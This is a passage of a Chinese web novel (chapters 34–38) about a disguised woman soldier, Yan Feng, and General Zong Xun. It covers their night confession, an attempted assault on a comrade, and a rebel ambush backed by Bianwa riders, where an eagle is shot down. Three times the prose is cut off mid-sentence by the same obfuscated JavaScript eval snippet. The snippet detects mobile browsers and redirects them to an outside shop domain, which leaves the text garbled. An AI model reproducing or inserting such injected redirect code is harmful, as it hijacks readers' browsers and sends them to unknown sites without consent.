宗恂苦不堪言，从前她睡在帐顶，他尚能强迫自己忽略。如今不过几丈之遥，连帐帘都不隔，他夜夜听着她均匀呼吸，常常莫名便起了反应，然后便是诸般羞耻和不堪的情绪。 偏她睡相还极差，总是蹬被子，偶尔露出一截雪色肌肤，便惹得他方寸大乱。 饶是如此，宗恂还是忍不住要起身为她掖好被角、整好衣襟。 虽这小小的动作，常常换来他一整天心猿意马，甚至白日里手指还会不自觉地摩挲着，仿佛还残留着夜里那点温热与柔软。 燕风睡得沉，这些她都一无所知。 直到这月月试前一夜。 燕风因为紧张有些失眠。好不容易睡着，梦里也尽是些光怪陆离的片段。 有她拼尽全力也拉不开弓，被陈青嗤笑。有她输了比试，只能可怜兮兮再吃一旬的草料。 还有她色胆包天终于对主子下手！结果却连衣角都没碰到，便被一脚踢飞到海角天涯…… 那滋味太可怕，惊得她骤然醒转。 而宗恂，恰在此时起身来为她掖被角。 35. 熹微 宗恂只穿着单薄寝衣，身子还半弯着，露出半侧结实的胸膛。而他的手掌还停在她半露的肩头。 那里莹白的肌肤映着月光，若隐若现。 燕风从梦中初醒，尚还迷茫的双眸正撞上他温柔的瞳仁。 宗恂一惊，连忙后撤，却被她一把攥住了手腕。她顺着那只手攀上来，一路缠进他怀里，抱住了他的腰身。 在他羞愤交加以为这又是她作弄他的游戏时，却听她在他怀里呜呜呜地哭了起来： “我错了，不要赶我走。” 宗恂心下一软，恐怕她是做了什么噩梦了吧。 却听伏在他腰间的她又哭诉道：“可你难道就没有错吗？既然只想要个忠心耿耿的下属，直说便是，何苦如此撩拨，平白惹人一场痴心妄想。” 宗恂心中猛然一震，一弦被拨，激起万重波澜。 他缓缓半蹲下，与她平视，声音低哑：“那你，究竟是怎样想的？” "你心里……可有我？" “没有！”燕风犹在梦魇与现实的边缘，答得咬牙切齿。 宗恂胸口一闷，正要起身。 却听她带着浓重鼻音，哽咽着续道：“有……又能怎样？我这般……注定赴死的人。若动了情……就会怕死啊……” 宗恂愣在原地。 她又往他怀里贴了贴，梦呓般喃喃：“宗恂……别对我太好……” 言未尽，人已在他怀中沉沉睡去，只余脸上泪痕浅浅。 宗恂低头看她，唇角轻轻扬起。 那笑意如云开月明，眼中渐渐透出亮光。他轻轻将她放平，掖好被角，指腹轻轻擦过她脸颊的泪珠。 心底有什么沉寂已久的东西，此刻悄然破土，倏忽便参天。 “傻瓜。” 他低声开口，一字一句，似承诺，更似誓言：“你不会死。你会长命百岁，永远同我一起。” “而你这份心意，既然给了我，便永远都是我的，不准再给旁人了。” 天光渐明。 燕风悠悠转醒，睁眼盯着帐顶，一脸茫然。 她总觉得昨晚好像，发生了什么不得了的事，可偏偏记不起来了，脑子里一片混乱，怎么也想不明白。 难不成只是做了场荒唐的梦？ 正蹙眉苦思，不远处宗恂的呼吸忽然一乱。他要醒了！ 她浑身一僵，几乎是本能地闭眼装睡，动作利落得连自己都诧异。 明明这几日她坦荡得很，此刻却莫名心虚起来。 窸窣衣料摩擦声里，他更衣起身。脚步声渐近，竟在她榻前停住了。 一道炙热的目光落在她脸上。 燕风疑惑：他盯着我做甚？该不会昨晚脸没洗干净，擦的锅灰还在脸上糊了一块？ 就在她紧张得快要忘记如何呼吸的时候，脸颊忽然一热。 一点轻飘飘的触感落下，如蝶栖花梢，转瞬即逝。她差点从被窝里弹起来。 他亲了她！ 待回过神来，帐帘早已晃动，那人已不见了踪影，仿佛方才的温存只是错觉。 燕风躺在原处，活似遭了雷劈。电光石火间，昨夜记忆奔涌而来—— 她怔了许久，忽地抿唇一笑。 心尖上似有千万朵桃花簌簌绽放，霎时便漫成了十里香海。 不知过了多久，待收拾好心情又整理好衣服，燕风正要往外走，恰好遇上端着早食回来的宗恂。 她走得太急，差点撞进他怀里。一抬头，那张俊脸近在咫尺，连他唇边的绒毛都看得一清二楚。 要命！ 幸好今日脸上的黑灰抹得足。 她又在心里狠狠鄙视自己：几日前的神气哪去了，不是还要霸王硬上弓吗，亲一口你就找不到北了？ “着急走什么？”宗恂挑眉，语声温和却不容抗拒，“今日月试，吃饱了再去。” 今日他目光不同往常，灼灼又直白，莫名让她想起了她自己——她从前好似也这么盯过他，真是风水轮流转。 燕风再也没了平日里的洒脱，低头乖乖接过托盘坐下。偏接食盘时指尖相触，似有火线顺着血脉窜上，心头又是不争气的一抖。 她不敢看他，只能埋头猛吃。 可往日香气扑鼻的驴肉火烧，今日却失了魅力，愣是盖不住过他身上淡淡的味道。那清冽的气息，像是雨后的松木，随着晨风，一个劲儿往鼻子里钻。 真是好闻啊，这是……体香吗？ 她被自己的想法惊得一激灵，一口饼渣呛进喉咙，咳得惊天动地。 宗恂递来一杯水：“慢些吃，我什么时候同你抢过不成。”说着抬手帮她拍背，动作熟稔，带着理所当然的亲近。 他靠得太近了，近得她咳得更凶了。 一顿早饭吃得兵荒马乱。 好不容易熬到结束，她逃也似地冲出帐外。 帐帘落下，将他那道带着侵略性的炙热视线挡在了后头。她停下脚步，狠狠地吸了口冷风，脸上的燥热才慢慢散去 紧接着一股压不住的雀跃又涌了上来，燕风觉得像是怀里揣了只活蹦乱跳的兔子，连脚步都轻快得能飞起来。 这便是，美梦成真的滋味吗？ 她正美滋滋地想着，一抬头，猛然发现日头已经老高。 “糟了！要迟了！” 一个翻身，她已飞掠而去，直奔试场。 * 边卫月试。优者赏、劣者责。 这原本是边军每月一度的大事，关乎升调赏罚。可近几年，月试的实际意义被一点点剥离，不再与将卒的升迁问责紧密挂钩，反倒演变成了一场游戏。 究其根本，则是因为大靖虽仍旧处于三年前的屈辱割地劣势，却与边瓦在某种微妙的平衡和默契下，形成了一种诡异的稳定。这种稳定并非真正的和平，却也让预算一降再降，朝廷对边军考核也逐渐松懈。既无统一考核名册，也不再一板一眼地人人登记，取而代之的是各营自行选派好手，争抢一个头名营的虚名，赢个喝彩与些许脸面。 这般月试，虽早失了原本的威严，却也因其松散热闹，反而吸引了不少人参与，尤其成为各营炫技交锋、暗中较劲的绝佳场合。 燕风才刚抵达试场，就看见江鱼从另一头气喘吁吁奔来，头发歪歪斜斜，还绑错了靴子，一脚高一脚低地跑得飞快。 陈青正蹲在擂台边啃干粮，一见两人，调笑道：“哟，约好了都这个点儿来？” 燕风不理他，一副我今日心情极好，不和你计较的神色。 “意外、意外！”江鱼边说边喘，“好歹赶上了，你们就等着看吧，我早就准备好了！这回十里飞足，我肯定能有名次！” 陈青咬着馍饼，含糊不清地笑：“真的假的？你那靴子都还没穿对呢。” “哎呀，都怪那群破鸟，”江鱼手忙脚乱地系着靴带，嘴上也没闲着，“平时五更天就叫得烦人，今天一个不叫，让我一觉睡到了辰时。” 燕风正活动手腕，闻言心头一动，视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485541|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫向天际。 今天，是有些静了。 江鱼还在嘀咕：“可能是天冷了要南飞了吧。不是都说大雁南飞嘛？刚好撞上今天，真晦气。” 陈青失笑：“大雁才南飞，山雀飞个什么劲儿。再说了，上个月你不也迟到？那时候山雀也南飞啦？” 江鱼被怼得一噎，抓抓头发嘟囔：“反正我赶上了，什么也没耽误。” 正说着，那头十里飞足的考官已经举旗召集。 江鱼喊着“来了来了”就要去，见身边两人不动，问：“头儿，你不去吗？” 燕风笑笑：“早上吃太撑了，跑不了。” 陈青正要开口，江鱼“哦”了一声转身就跑，临走还回头白了陈青一眼——又没问你。 陈青讪讪地肘了肘燕风：“你也不去？别拿吃多了当借口。我还不知道你？你那肠胃是铁打的，吃得越多跑得越快。” 燕风出了神，没有搭腔。 陈青也收了笑，自顾自低声道：“不过低调点也好。你那轻功太扎眼，小心成了活靶子。卢校尉就是个教训……” “卢校尉？”燕风回神，皱眉问：“他怎么了？这阵子确实没见着他。” “你不知道？就上个月月试，你和将军刚回来那天。一营那个叫石承嗣的和卢校尉对擂，在枪头抹了毒。卢校尉只是被划了一下，毒不深，但折腾得够呛，最后还是他家里派人来把他接走了。” “石承嗣……”燕风神色一沉，“和石亨什么关系？” “他表弟呗。你说巧不巧？”陈青压低声音，“他敢下这手，十有八九是记恨将军，把账算到卢校尉头上了。” “你怎么知道得这么清楚？” “卢校尉是我送上船的。”陈青颇有几分自得，“他家动作快着呢，三天内就派人来接。我从前跟将军说过家里开医馆的事，大概是记住了，就让我跟着去送，还叮嘱了我保密。” “你家不是开武馆的吗？” “嘿嘿，都开都开，就许你天天赖在将军身边，不许我进步？” 燕风失笑，却没搭话。 陈青又道：“后来石承嗣也没被怎么处理。军里水深着呢。石亨虽然被押了，但他这些年把他全族的壮丁几乎都塞进来吃皇粮了，根基扎得深。再加上石承嗣咬死了什么都不知道，将军也就按下不提，估摸是等以后再找机会算账。” 燕风眉头越锁越紧。 陈青拍了拍她：“哎，你也别太担心。这次月试前，兵器全都检查过一遍，不会再有人搞鬼了。” 沉默片刻，燕风忽地问：“陈青，上次月试前，鸟也没叫吗？” 陈青一怔：“这我哪记得？不过好像听江鱼抱怨过。你问这个干嘛？” “我也说不上来，”燕风轻声道，“只是雀鸟比人灵敏，若一早全都集体噤声，多半是来了什么猛禽……比如草原上的金雕。那种猛东西极少靠近人多的地方。但我总觉得，最近在哪儿，好像见过。” 她望向空荡荡的天际，心底却泛起一丝不详。 她是个不折不扣的倒霉蛋，越是心情大好，越容易出事。而今早，偏偏是她这辈子最欢喜的一次。 陈青原还想打趣，见她神情凝重，终于也收了话头。 “那我会小心的。今日除了弓试，我哪也不去，就守在将军身边。你若真觉不对劲儿，就去转一圈，发现什么，随时来找我。” “嗯。”燕风点头，“但愿无事吧。” 贼老天，可别又坑她一次。 36. 惊变 日光正烈，江鱼奔跑在十里飞足的赛道上。 起初她还心怀着侥幸，可随着步伐散乱的人群渐渐落后，她心里的不安一点点开始膨胀。 身后这些人，不是平时见过的那些对手…… 她刚越过一处偏僻的拐角地，还来不及细想，灌木后猛地窜出三人，将她一把拽入林中。 她拼命挣扎，落叶和乱石不住从她脚下滑落，却还是被拖进了一处山野沟壑中。 “干什么？！你们干什么！”她惊恐大叫，在看到那几张熟悉的脸时更是脸色煞白。 是平日里军营里常来欺负她的三人！ “别挣扎了，小婊子！”其中一人粗声骂道，已经开始剥她的外衣。 她胸口束着布条，随着外衣被揭开，那人瞪大眼睛，露出恶意的笑容。 “嚯，真白！我说的没错吧，就是个女的！我昨天晚上看到她蹲着尿尿！” 江鱼又惊又怒：“你们疯了！不怕我表兄吗？他可是将军亲信——” “什么表兄？奸夫吧！”一人冷笑着凑近，“带女人进军营，夜夜快活，不要脸的狗男女！今天爷们就给你解解馋！” “我们可不怕你表兄。”第三人凑近深嗅一口，舔唇狞笑：“再过几个时辰，你们将军也得死。死之前说不定还能让兄弟们爽爽，那姓宗的长得，比女的还带劲儿！” 江鱼很快冷静了下来。她抓住对方得意忘形的刹那，猛地俯身，膝盖狠狠顶其□□！ 那人惨叫着弓身跪地。 趁身上钳制稍松，她反手一拳，砸中另一人鼻梁。只听“咔嚓”一声，那人鼻血飞溅，仰头倒退数步。 江鱼趁机冲出包围，眼角一扫，抓起地上一根断枝。 枝头尖锐，带着倒刺。她倒握其端，背脊紧贴斜坡边缘的老树与三人对峙，额角渗出冷汗。 “妈的！给脸不要脸！”为首那人咆哮着，抹去嘴角的血迹，恶狠狠盯着她。 江鱼却怒喝：“你们刚才说什么？你们要造将军的反？” 其中一人狞笑出声：“嘿，居然还有闲心操心这个。对，就是要他死。” “别废话！”另一人挥手低吼，“这小贱人在拖时间，一起上！” “该死！” 江鱼低骂一声，借地势翻滚避开夹击，顺势又绊倒一人，随即点地跃起，跃上半截突出的枯藤，俯身急刺，一道血痕立刻划过对方前臂。 她自加入军营从不曾偷懒，此危急关头更是发挥出了自己十成十的实力。 然而早前“十里飞足”已使她力竭，此刻只靠意志支撑，动作逐渐迟滞。 三人眼见她力衰，渐渐形成合围。 忽地，一人猛扑将她从侧后方紧紧抱住，双臂将她箍死，令她动弹不得。 另一人当胸逼近，扬手就是一记重重耳光。 “还反抗？你以为你是什么贞洁烈女？” 江鱼吐出一口血，狠狠回骂：“呸，狗东西！” 就在这生死攸关的时候，密林深处突然传来一声低沉的野猪嘶吼！ 江鱼眼睛一亮：“小白！” 三人回头，猝不及防，只见一头黑得发紫的野猪猛地冲出，獠牙弯钩如刀，头顶还有一撮雪白的毛。 正是燕风他们南下途中偶遇、又悄悄养在营外的那头野猪！ 小白来得正好，此时如一道黑色闪电，狠狠将三人一个个撞飞，惨叫声在林间回荡。 江鱼趴在地上大口喘气，忽地睁眼，从地上拾起那根断枝，朝着倒地哀嚎的三人冲去…… * 高坡之巅，燕风蹲踞巨石，俯瞰整个演武场。 一阵山风吹过，她低头，余光突然瞥见一根深褐色羽毛，静静地躺在岩壁缝隙间，其末端微翘，金色隐现。 她眉头一皱，拾起查看。 是金雕的羽毛。 “这是……”她仔细端详，苦苦回忆，突然心头一动。 正当她在找别的线索时，呼呼风至，一道黑影疾驰而上，竟是一人一猪。 那人浑身血污，骑跨在油黑发亮的野猪背上，狂奔而至。 “将军有危险！”嘶喊声破风而来，是江鱼，“姓石那帮人要造反！” 燕风猛然一惊，急忙俯身再看台下 原本该坐在高台上的宗恂与陈青什么时候竟已不见！ “伏龙道！”她低声喃喃。 江鱼转眼已奔至身前，她颤声道：“伏龙道！他们要在伏龙道劫杀将军！快去！” 果然。 燕风未再言语，一脚点地，身影如离弦之箭，掠过林梢，飞驰而去！ 伏龙道并非偏僻之地，而是通往张擎营地的必经之路，只是中段有一处天然狭窄，山石高耸，道路逼仄。 半柱香前，宗恂刚刚评点完一轮比试，突有人匆匆来报：“将军，宫中来了人，现在正在张擎将军营中，请您速速前往。” 来人是个生面孔。 宗恂略一迟疑，还是与陈青一同起身离开，步行穿林，向张营而去。 伏龙道前，几人刚要踏入那段狭道，宗恂却忽地停下了脚步。 “将军？”前方带路之人回头。 宗恂挑了挑眉，忽而微笑，随即猛然出手，一掌将那人推了进去！ 下一瞬“咻咻咻——” 巨树间猛地落下一张沉重的大网，将那人罩在其中；紧接着，四面八方无数箭矢如骤雨倾泻而下！ 那人瞬间射被成一只刺猬，双目圆睁，死前脸上满是惊惧与不甘。 一时山道沉寂，寒风从崖壁罅隙钻入，卷起满地碎石。 宗恂扬声讥讽：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485542|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么不看准了再射？箭矢怕是不够用了吧，可要宗某帮你们扔些回去？” 未及回音，他话锋陡转，带着不容置疑的威势： “还藏什么？等着我自己一步步踏进你们的陷阱？石亨训出来的兵，就这点手段？” 乱石后，一道身影缓缓站起，正是石承嗣。他面色铁青，身后隐约伏兵百余。 “放你娘的屁！”石承嗣破口大骂，“姓宗的孬货，死到临头还嘴硬？你以为自己很聪明？被人轻轻一哄就来了！现在说什么都晚了。我们这么多人，你却只带了一个随从，真以为自己能全身而退？” 宗恂竟笑了：“哦？可曾派人断我后路？” 石承嗣一愣。 “只在伏龙道设伏？”宗恂摇头，仿佛在替他惋惜，“忘了我身后是坦途么？” 石承嗣登时变色，藏在身后的手悄悄打了个手势，示意几个手下去宗恂身后守着。 那几人一脸不情愿，却不敢违命，只得猫着腰往下摸。 宗恂并不拆穿，回身示意一脸紧张的陈青避开几步。他自己则赤手站在原地，笑着对这几个终于现身的士兵招了招手： “一起上吧，让我试试你们的身手。” 几人大叫着冲上，结果加起来连半招都接不住，一个接一个被挑翻在地，滚作一团。 宗恂步伐轻松，招式节制得几乎如月试擂台，分明就是戏耍。 石承嗣眼见此景，羞愤交加，怒吼一声：“爷爷来会会你！” 他舞起狼牙棒，从石台上一跃而下，身后几个死党亦紧跟着冲来。 宗恂脸色不变，抢过一柄长枪，手腕翻转间枪尖轻挑，竟将那柄沉重的狼牙棒生生夺下！ 换了武器，他气势陡然一变，一步踏前，狼牙棒如虎啸风生，朝着石承嗣直劈而下。 众人惊呼，却见那棒势在中途猛然一顿，停在对方面前仅寸许处。 劲风卷过，那尖钉几乎要刺破石承嗣的鼻尖。 石承嗣浑身僵直，双膝一软，脸色煞白如纸，□□一片湿痕渗出，显然已魂飞魄散。 宗恂并未收回兵器，而是慢慢将狼牙棒转为横握，指着他轻声问： “怕了？” 他脸上仍带笑意，语声却寒意逼人。 “你不如你表兄。五年前京师保卫战，他敢提刀陷阵，以一敌十，死里求胜。正是有他那等拼杀，才换来你们这一族如今的前程。” 他顿了顿，言辞陡然锋利：“可你们同样愚蠢，蠢到竟敢私通边瓦，叛国求荣！” “你胡说！”石承嗣回神，强辩道，“你害了我表兄，还想污蔑我？我承认我们造了你的反，可却没通什么边瓦！那是灭族的大罪！你拿得出证据吗？” “证据在此——” 一声嘶哑的高喝突然破空而至。 37. 金羽 众人闻声回首，但见燕风匆匆赶到。 她鬓发杂乱，一身风尘，目光急急扫过人群，最终定格在宗恂身上，见他无恙，才悄悄放下心来。 “这是边瓦贵族所养金雕的羽毛，今日竟在附近出现！” 她举起手中金羽，高声道，“你们今日叛乱，此物也恰在此时现身，天下岂有这般巧合的事？” 石承嗣瞪大双眼，喃喃道：“什么金雕……我只与张擎约好……我们商量时，从未提过边瓦人……” 话音未落，破空之声骤响。一道冷箭自人群中疾射而出，直取伏龙道前二人！ 燕风虽先察觉，但那箭来得太突然，她不及动作，周身血液几乎冻凝。 却见宗恂左手微动，掌心倏然一翻，竟生生将那箭尾徒手握住！ 箭镞仍在疾旋，离石承嗣太阳穴已不足半寸。 石承嗣惊恐之下，连呼喊都未及出口，眼白一翻，竟当场昏死过去。 宗恂却毫无停顿，右臂猛振，掌中狼牙棒脱手掷向箭来之处！ “砰——！” 人群中一处骤响，一道人影还未逃脱，右肩便被棒锋砸中。只听“咔嚓”一声，那人整条右臂已被生生震碎，血肉模糊，骨头都从肩头刺了出来！ 那是个肩宽背厚、身形细长的男子，一望便知是射艺老手。此人哀嚎滚倒，石承嗣的死党们怒喝着围上去，纷纷质问： “你是谁！” “怎么混进来的！” “谁带的兵？这不是咱营里的！” 那人痛得几乎晕厥，然而挣扎间，却嘶哑吐出几句含混不清的边瓦语！ 此言一出，全场皆惊。 而就在此刻，伏龙道另一头忽传来滚滚木轮声。 众人齐齐望去，只见那边尘土飞扬，山道间缓缓而来一列人马。 最前方是步兵簇拥，围着一辆红木轮椅。椅上之人披着宽大披风，骨瘦如柴，面颊凹陷、肤色蜡黄，已与昔日谈笑风生的模样判若两人。 正是张擎。 他已病至瘫痪的地步，却仍强撑着坐直身子，一双眼睛在枯槁的脸上亮得骇人。 轮椅后，数十骑铁甲蒙面。他们虽着大靖制式军装，然身材魁梧，面目深邃，一看便非中原人士。 “边瓦人……”有人低声道。 张擎强作镇定，语声虚弱但激切地呼喊道：“儿郎们……你们不要被他骗了！宗恂才是私通边瓦之人！他爹是逃兵，他也是孬种……一起上，那么多人还怕他一个吗！” 宗恂听到这里，拂去掌心上残留的箭屑，嘴角勾起一抹冰冷的笑： “你的儿郎们，是指谁啊？” 他声音不高，却如投石入潭，激起众人心中层层波澜。 “我记得，你张擎的兵，此时应当都在试场上月试吧？” 他目光掠过张擎身后：“你现在带来的这些人，又是从哪儿冒出来的？” “还是说，你想先把石家人推上来，让他们替你马前试刀？若运气好，他们全死了，倒也省得你日后再杀人灭口？” 山坡上顿时陷入一阵静默。 石家的兵士们面面相觑，神色变幻，甚至有几人悄悄往后挪了半步。 张擎面色铁青。他看出局势已崩，再演也无益，索性节省力气不再多话，吃力地转头，朝后方那群骑着高头大马、虎视眈眈的骑兵们微一点头。 数十骑当即有了动作，就要出列。 然而骑兵队伍最深处，一人忽然抬手，掌心向下轻轻一压—— 催马的骑兵顿时止步，目光齐刷刷望向那人。 那人身材高大，端坐一匹玄色战马上，一夹马腹，径直打马而出。 尘土飞扬间，他从张擎身侧经过，马尾高扬，将污臭尘气甩了张擎满脸。 张擎原本病骨支离，这下呛得满面通红，咳声连连，几乎跌下轮椅。然而他强撑着捏紧扶手，眼中羞怒交加，却不敢发作。 那人连看都未看他一眼，只直直盯着底下站着的宗恂，随手一把摘下面罩。 一张年轻而傲慢的面孔显露出来，五官带着几分异族特征，眉眼锋利，唇角噙着不屑的笑。 竟是塔木儿部落的少主，合鲁台。 燕风心头一凛，冷不防生出一丝惧意。 合鲁台勒住战马，居高临下打量着宗恂：“你就是宗谦的儿子？啧，长得倒是不怎么像。” 他舔了舔嘴唇，笑得愈发放肆。 “听闻你母亲是大靖的公主，想来是个美人。” “今日便让我看看，你这逃将之后，到底有几分能耐。” 话音未落，合鲁台便催马冲来，弯刀寒光霍闪，直取宗恂项上人头！ 宗恂毫不闪避，反手一捞，在泥地中抄起一杆士卒遗落的长枪。他左手起枪，动作略显生涩，却仍强行架住那弯刀一劈。 刀枪乍碰，金铁激鸣！ 宗恂脚下一滑，被震得连退数步。 合鲁台借马势，刀沉力猛。宗恂左手用枪不惯，一时落于下风。 燕风与陈青心急如焚，却不敢轻举妄动。 一是他们武学不及宗恂，贸然插手恐添乱；二是敌众我寡，若打破这一对一的局势，只怕更为不利。 石家兵士屏息观望，神色凝重。他们心知：无论哪边胜出，对他们都不是好事。但若非要选，宗恂方才处处手下留情，或许还有几分可能网开一面。只是眼下，他境况堪忧，若轻率选边，只怕白白做了陪葬。 张擎咬牙切齿，哑声高喊：“你们还愣着干什么？我们这么多人，凭什么要单打独斗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485543|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可他话音落地，身后骑兵却无一人动作，皆恍若未闻。 战圈之中，局势却悄然生变。 宗恂逐渐找回了左手的节奏。他并不硬拼力量，转而以枪为引，借力化力，竟将合鲁台刚猛刀势层层卸去。 长枪翻舞如龙，点点寒光如雨泼洒。 又一次交锋，宗恂猛然挑开弯刀，枪锋斜掠，几乎割破合鲁台脸颊。 合鲁台咬牙格挡，反击时又被宗恂长枪扫中刀背，虎口一震，险些脱手。 两人几乎同时被震退，各自后撤一步。 合鲁台额头青筋暴跳，怒喝：“你是不是在耍我？你根本不是惯用左手的，为什么不换右手？” 宗恂淡淡扫他一眼：“你若不敌，现在叫你的人一起上，还来得及。” 说罢他再度欺身上前，长枪破风直刺。 合鲁台咬牙迎战，心神却开始动摇。 他是塔木儿少主，自幼便是众星捧月的存在。他三岁能御马，十三岁劈头狼，十八岁便横扫草原比武大会，二十岁已跻身边瓦最强勇士之一。 年轻一辈中，除了年长五岁的萨尔图略胜他一筹，他几乎从无敌手。 可眼前这个大靖青年，与他年岁相仿，却在处处劣势下，竟能与他战平，甚至渐占上风。 贴身缠斗间，他用仅二人可闻的声音低问：“边瓦与大靖三年无战事，你我也无仇……为何要在我的地盘刺杀萨尔图，还将消息传回王帐，害我塔木儿受疑？” 宗恂眼中闪过一抹冷意，挑眉笑道：“你怎知是我？” 他枪尖一压：“塔木儿树敌不少吧？” 合鲁台一怔。 宗恂嘴角勾起：“即便真是我所为，我又为何、又如何能将消息直送王帐？贼喊捉贼，岂不太蠢？” “你该想的是，谁有能力，第一时间将此讯传至王帐？或者说……” 他目光如刀：“是谁告诉你，此事为我所做？” 合鲁台脸色一白，下意识退了一步。 他的视线不由自主地投向人群后方—— 那轮椅上形销骨立、神情癫狂的张擎。 宗恂笑得愈发森然。 两人短兵相接间不过低声数语。在场众人虽听不清内容，却都看得出合鲁台神色动摇、气势微泄。 唯有燕风耳力极佳，宗恂与合鲁台的每一句低语，她都听得一清二楚。 她心中暗喜：宗恂成功撼动了合鲁台的信念。这位塔木儿少主开始对张擎起疑，斗志不复，已无一战之力。 可就在这时，她指尖触到袖中那枚金羽，她心头猛地一震。 不对！ 她曾在萨尔图发间见过此羽，那金雕定是萨尔图所饲。 既然合鲁台现身，那萨尔图又在何处？ 38. 同张 一想起那人，燕风便觉一股寒意自脊背升起，仿佛对方阴鸷若毒蛇般的的目光已自暗处锁定了她。 另一边，张擎见合鲁台接连受挫，自己又调不动边瓦兵卒，心中愈发焦躁。 他将希望寄托于石家兵将能随局势倒戈，当即声色俱厉，扬声喝道：“众将士听着！我张擎今日之举，是奉了圣命！宗恂此人图谋不轨，早已在皇上密旨中列为钦犯。你等若执意不动，便是抗命！” 话音落地，石家军尚未反应，合鲁台却骤然变色。他目光冷冷扫向张擎，眼中杀意森然。 便在这时，燕风耳廓微动，捕捉到一声压低的讥嘲：“蠢货。” 同时边瓦阵中，一骑如离弦之箭，骤然冲出，直扑正与宗恂缠斗的合鲁台！ “小心！” 来人厉喝一声，已闪电般切入战局，长刀一荡，“铛”地格开了宗恂刺出的长枪！ 宗恂心中冷笑：他这一枪原就是做戏，未曾用上几分力气，倒叫这人演得似赴刑场救人，白卖他一个人情。 那人披风一抖，面具脱落，赫然正是萨尔图！ 合鲁台瞪大了眼：“……殿下？” 那句“您何时来的”卡在喉间，终未问出口。 “合鲁台，你做得不错。”萨尔图背对着他，语声平淡。 他目光如刀锋般刮过宗恂，额角一道新添的疤，让他本就张扬的容貌里透出几分邪气。 “接下来，交给我。” 他话音一落，五骑自骑兵阵中迅速出列，与萨尔图一起呈扇形包抄，将宗恂团团围住。 萨尔图立在最前，那五骑则游走策应，伺机出手。 陈青焦急万分，拔剑冲入战圈，与宗恂并肩作战。 燕风则飞身掠至石家众人中，抄起地上弓箭，行云流水地搭箭、拉弦、放箭。 “咻咻咻！” 三箭连发，三名边瓦骑兵应声落马！ 石家众人见她箭术如此了得，暗暗递箭相助。可敌军轮转严密，一人落马，立有人补上，形势依然危急。 便在此时，宗恂旋身避过一刀，萨尔图却如鬼魅般出现在他身后，低声道： “为何不用右手？是怕我认出你就是那夜的刺客？还是说，你的右手有旧伤？” 他刀锋一偏，划过宗恂右肩，顿时一线血花迸溅。 “是在这里吗？” 萨尔图低笑出声，犹如猫戏鼠雀。 “别担心，我会替你保密的。但——” “这不代表我会原谅你。我们之间，早已是不死不休！” 他忽地吹出一声短促口哨。 下一息，一声厉啸破空而来！ 一只巨雕俯冲而下，双翼展开竟有数丈之宽，羽如金铁，尖喙如钩，直扑宗恂面门！ 燕风心神俱裂。这一瞬的感觉，她太过熟悉。 三年前，宗大将军与阳高守军被锦衣卫困于火海，活活焚烧致死。她却只能眼睁睁看着，什么也做不了，至今梦里仍是烈火与尸山。 难道今日，她和宗恂心意初通的今日，一切又要重蹈覆辙？ 不可以，绝对不可以。你们算个什么东西？ 贼老天，你又算个屁！ 滔天怒火自心底翻涌而出。轰然间，一股狂暴气流自她周身炸开！飓风骤起，音爆如雷！强横的气浪席卷四野，所有在马上的人皆悉数震落，哀嚎四起！ 唯有那只金雕因在高处，仅受惊扰，却仍盘旋不退，双翅一震，赤红双目转而死死锁住燕风。 一人一鸟，对峙天地之间。 燕风目光冰冷，身形疾闪，眨眼已掠至陈青身侧——他背上那张弓，正是她苦练一月、却从未真正拉满的十五石重弓。 唯有它，才有可能射穿这空中霸主的鳞羽！ 她的手颤抖起来。 这一月来，她没日没夜拼命练习，却始终不敢真正试射，因她怕失败会摧毁自己脆弱的信心。 如今，这是第一次。 肩背肌骨因过度用力发出轻微的咯响声。金雕察觉杀意，怒鸣一声，再度俯冲！ 燕风牙关紧咬，沉肩开臂，将全身最后一丝气力尽数贯入弓弦—— 还是……不行吗？ 就在那一刻，一双手自后方稳稳揽住了她，鲜血淋漓的掌心覆上了她紧扣在弓弦上的手。 是宗恂。他站在她身后。 两人合力，定势如磐，弓如满月。 “咻！” 寒光闪动，箭矢破空而出，径直贯入金雕左目！ 血花喷溅，巨鸟悲鸣，轰然坠地。 萨尔图目眦欲裂，正欲暴起反击，忽听试场方向传来一阵急促脚步声，伴随着金铁交鸣。 林间枝叶哗啦啦作响，乱影纷至沓来，刀枪交错，一片乌泱乌泱。最前头一道身影尤为醒目，□□骑的竟是一头乌黑壮硕的野猪，正是江鱼。 燕风心神一松：“总算来了……虽迟了些。” 话音未散，她已浑身脱力，向前软软倒去。 再次有了意识，已是深夜。 帐中烛火昏黄，火光投下跳动的影子，映得一室斑驳。 燕风怔了半晌，才意识到自己正躺在军帐里，四肢尚能活动，只是酸软得没有力气。 她指尖才动了动，便惊动了守在榻边的人。 